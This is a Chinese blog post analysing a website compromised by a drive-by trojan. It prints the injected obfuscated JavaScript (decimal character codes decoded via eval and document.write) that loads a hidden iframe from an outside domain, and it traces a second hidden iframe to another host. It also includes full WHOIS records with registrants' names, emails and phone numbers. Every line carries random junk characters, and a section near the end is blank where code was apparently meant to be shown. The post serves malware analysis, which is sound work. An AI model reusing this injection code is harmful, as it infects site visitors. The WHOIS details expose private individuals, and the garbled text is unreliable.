首发在我的博客里面，
HY)ESU
! s[ AA 7>]3 http://www.areway.cn/?p=175 ^o d<JD4 K]fpGo SDBt @=Nl 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
B QjGv?p0s n?E}b$6 <script>t=’60,105,102,114,97,109,101,
c Zvf"cIs 32,115,114,99,61,104,116,116,112,58,47,47,
$|a;~m> 102,114,101,101,46,117,45,117,117,117,46,99,
ue 0s&WF| 110,47,101,114,114,111,114,46,104,116,109,
KAc >-c< 32,119,105,100,116,104,61,49,48,48,32,104,
T*CME] 101,105,103,104,116,61,48,62,60,47,105,102,
Gt~JA0+C)7 114,97,109,101,62′;
nQ=aLV +' t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
qLjT.7 .x uLV BM]Qj <script>t=’60,105,102,114,97,109,101,32,115,
AyV rk
8G 114,99,61,104,116,116,112,58,47,47,102,114,
!wh&>3~ 101,101,46,117,45,117,117,117,46,99,110,47,
'fY9a(Xt. 101,114,114,111,114,46,104,116,109,32,119,
#a,9B -X 105,100,116,104,61,49,48,48,32,104,101,105,
({[,$dEa; 103,104,116,61,48,62,60,47,105,102,114,97,
#I% s 3 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
-Mf Q&U document.write(t);</script>
z"379b7cN T~ k)uQ <html xmlns=”
=u|~
<zQw http://www.w3.org/1999/xhtml 9DE)S)e8 “>
$1 @,Qor <head>
i@ zY9,b <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
MYdx .NZT <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
U<bYFuS" <title>首页 - 爱生活家庭网
%}b8aG+ LM.`cb;?G 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
Zdn! qyR` 转换字符串后的大概内容是（谁点击后果自付）：
h-mTj3p-K <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
ai ^|N.! S>f&6ZDNY( 查询玉米u-uuu.cn的详细信息：
W`L!N& fB Domain Name: u-uuu.cn
l\Xd.H" j, ROID: 20070901s10001s64972306-cn
ngUHkpYS5 Domain Status: ok
d`%M g& Registrant Organization: 王雷
44-r \> Registrant Name: 王雷
K
,isjh2 Administrative Email:
czlovexs@126.com ` |Fp^gM Sponsoring Registrar: 北京万网志成科技有限公司
;n*J$B Name Server:ns.yovole.com
=2 jhII Name Server:ns1.yovole.com
l[YEKg Registration Date: 2007-09-01 17:54
L`3n2DEBf Expiration Date: 2008-09-01 17:54
`&*bM0(J 最后PING了一下地址 都没有什么….
wk[
wNIu g>0vm2 | 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
c K <)$* <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
P))^vUt~ <script language=”javascript” src=”
FFzH!=7T? http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script qnIew ?-* >
w~+ aW(2 这个玉米应该有可能是木马作者的：
i_l+:/+G+ foafau.info的详细信息：
M{KW@7j Access to INFO WHOIS information is provided to assist persons in
flnVY Qe determining the contents of a domain name registration record in the
r@$ w*% Afilias registry database. The data in this record is provided by
8cdsToF(e. Afilias Limited for informational purposes only, and Afilias does not
(:sZ
b?* guarantee its accuracy. This service is intended only for query-based
ZkWL_ H) access. You agree that you will use this data only for lawful purposes
b^Cfhy^RTq and that, under no circumstances will you use this data to: (a) allow,
`ROG~0lN( enable, or otherwise support the transmission by e-mail, telephone, or
<avQR 9'& facsimile of mass unsolicited, commercial advertising or solicitations
5H
!y 46z to entities other than the data recipient’s own existing customers; or
NFy MY#\] (b) enable high volume, automated, electronic processes that send
>K:u ?YD [ queries or data to the systems of Registry Operator, a Registrar, or
F
?=9eISLJ Afilias except as reasonably necessary to register domain names or
!% S 4 n modify existing registrations. All rights reserved. Afilias reserves
}ug xN0 the right to modify these terms at any time. By submitting this query,
!j^ &gRH you agree to abide by this policy.
bFGDgwe z Domain ID:D22418703-LRMS
Qv{,wytyO Domain Name:FOAFAU.INFO
f / ahwz Created On:20-Nov-2007 16:05:42 UTC
"J19*<~ Last Updated On:20-Nov-2007 16:05:44 UTC
, =y# m- 9 Expiration Date:20-Nov-2008 16:05:42 UTC
g9>~HF$U Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
-%m3-xZA Status:CLIENT DELETE PROHIBITED
5PiOH"!19 Status:CLIENT RENEW PROHIBITED
ja T$gAx Status:CLIENT TRANSFER PROHIBITED
7"Mk+' Status:CLIENT UPDATE PROHIBITED
DxS sg Status:TRANSFER PROHIBITED
m 7 LUrU Registrant ID:GODA-040110615
n- afDV Registrant Name:liu hong
8 ws$k\> Registrant Organization:
92[a; a Registrant Street1:beijing
qL
5>o>J Registrant Street2:
)K0i@hM(n Registrant Street3:
$3;Up gv Registrant City:beijing
8<dOMp;}r Registrant State/Province:
f_\_9o"l Registrant Postal Code:100000
GP, <`l& Registrant Country:CN
I1=(. *B} Registrant Phone:+86.860108888777
O4|2|sA Registrant Phone Ext.:
~`cwG`
'N Registrant FAX:
&Lj@9\ Dh Registrant FAX Ext.:
5:_hP{ @ Registrant Email:bbbshiji@163.com
1r9 f[j~ Admin ID:GODA-240110615
|jG~,{ Admin Name:liu hong
1oY^]OD]W Admin Organization:
r>n"
51* Admin Street1:beijing
a.kbov( Admin Street2:
&ab|2*3?X Admin Street3:
K+d2m9C = Admin City:beijing
jRj=Awy Admin State/Province:
X6@w krf- Admin Postal Code:100000
JUt7En;XE Admin Country:CN
M+Uyb7 Admin Phone:+86.860108888777
Mi 0sC24b| Admin Phone Ext.:
K -Mc6 Admin FAX:
SvuTc!$? Admin FAX Ext.:
63& ^BW Admin Email:bbbshiji@163.com
H l B]38 Billing ID:GODA-340110615
P+(i^= S Billing Name:liu hong
wL{qD Billing Organization:
Xs$Uf i Billing Street1:beijing
j8$Zv%Ca% Billing Street2:
(03pJV&K Billing Street3:
8]"(!i_;) Billing City:beijing
r4{<Z3*N Billing State/Province:
") UwkF Billing Postal Code:100000
~[W#/kd1n Billing Country:CN
s"~5']8 Billing Phone:+86.860108888777
N4{nG,Mo ] Billing Phone Ext.:
s] au/T6b Billing FAX:
4IsG=7 Billing FAX Ext.:
Pq p * Billing Email:bbbshiji@163.com
w"zE_9I\ Tech ID:GODA-140110615
=$^MQ\S0p Tech Name:liu hong
Ew,T 5GG Tech Organization:
fZN><3MO> Tech Street1:beijing
uzU{z; Tech Street2:
-_0?_Cb Tech Street3:
a. %LH b Tech City:beijing
fi%r<]@ Tech State/Province:
p{tK_ZBy]c Tech Postal Code:100000
nzsl@1s Tech Country:CN
%J7UP4 Tech Phone:+86.860108888777
.#w6%c@ Tech Phone Ext.:
w# y2_ Tech FAX:
(Tvcq Tech FAX Ext.:
SN Y (* Tech Email:bbbshiji@163.com
$dg9z}D Name Server:NS27.DOMAINCONTROL.COM
c:hK$C)T Name Server:NS28.DOMAINCONTROL.COM
l54
m22pfv Name Server:
vNDu9ovs- Name Server:
3Qn!y\# Name Server:
M {a
# Name Server:
Le#spvV3J| Name Server:
{6,|IGAq
V Name Server:
LR&_2e^[ Name Server:
tw K^I6@ Name Server:
^twivNB Name Server:
u=NG6 G Name Server:
-,# +`>w Name Server:
-4 Ux,9& "Ij I'c 接着下载每个文件里面的代码：
AHbZQ ulC 一步一步看..
mOBA CTY^ 
TwahR :T 
4g` jd 
)N !> = 
zF&=U`v 
N|Cs=-+ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
